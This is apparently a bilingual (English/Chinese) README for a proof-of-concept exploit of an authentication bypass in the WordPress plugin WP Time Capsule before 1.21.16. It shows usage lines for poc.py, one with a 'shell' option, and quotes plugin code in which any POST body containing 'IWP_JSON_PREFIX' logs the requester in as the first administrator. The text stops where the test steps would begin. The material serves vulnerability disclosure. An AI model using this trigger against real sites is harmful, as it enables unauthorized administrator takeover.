secforce/wptimecapsulepocAn authentication bypass was recently discovered (https://www.webarxsecurity.com/vulnerability-infinitewp-client-wp-time-capsule/) on WP Time Capsule < 1.21.16. This PoC proves how the issue works and how it can be exploited.
最近在 WP Time Capsule < 1.21.16 中发现了一个身份认证绕过漏洞（https://www.webarxsecurity.com/vulnerability-infinitewp-client-wp-time-capsule/）。此 PoC 演示了该问题的工作原理以及如何利用它。
该 PoC 提供两种不同的选项：
poc.py http://127.0.0.1/
poc.py http://127.0.0.1 shell
函数 decode_server_request_wptc() 位于 wptc-cron-functions.php 中，由 Wptc_Init 构造函数调用，它在解码请求体发送的请求时不执行任何权限检查：
if( !empty($HTTP_RAW_POST_DATA_LOCAL)
&& strpos($HTTP_RAW_POST_DATA_LOCAL, 'IWP_JSON_PREFIX') !== false ){
wptc_log('', "--------IWP_JSON_PREFIX--coming------");
wp_cookie_constants();
wptc_login_as_admin();
}
它仅检查任何 POST 请求的请求体是否包含字符串 IWP_JSON_PREFIX，如果包含，则调用以下方法：
wp_cookie_constants();
wptc_login_as_admin();
wptc_login_as_admin() 获取所有管理员用户，取出第一个，并为该用户名生成一个 cookie。
function wptc_login_as_admin(){
wptc_log(func_get_args(), "--------" . __FUNCTION__ . "--------");
wptc_define_admin_constants();
if( !function_exists('is_user_logged_in') ){
include_once( ABSPATH . 'wp-includes/pluggable.php' );
}
if(is_user_logged_in()){
return ;
}
$admins = get_users(array('role' => 'administrator'));
foreach ($admins as $admin) {
$user = $admin;
break;
}
if (isset($user) && isset($user->ID)) {
wp_set_current_user($user->ID);
// Compatibility with All In One Security
update_user_meta($user->ID, 'last_login_time', current_time('mysql'));
}
if(!defined('SECURE_AUTH_COOKIE')){
return;
}
$isHTTPS = (bool)is_ssl();
if($isHTTPS){
wp_set_auth_cookie($user->ID);
} else{
wp_set_auth_cookie($user->ID, false, false);
wp_set_auth_cookie($user->ID, false, true);
}
}
本次测试我们使用了：
涉及的步骤如下：
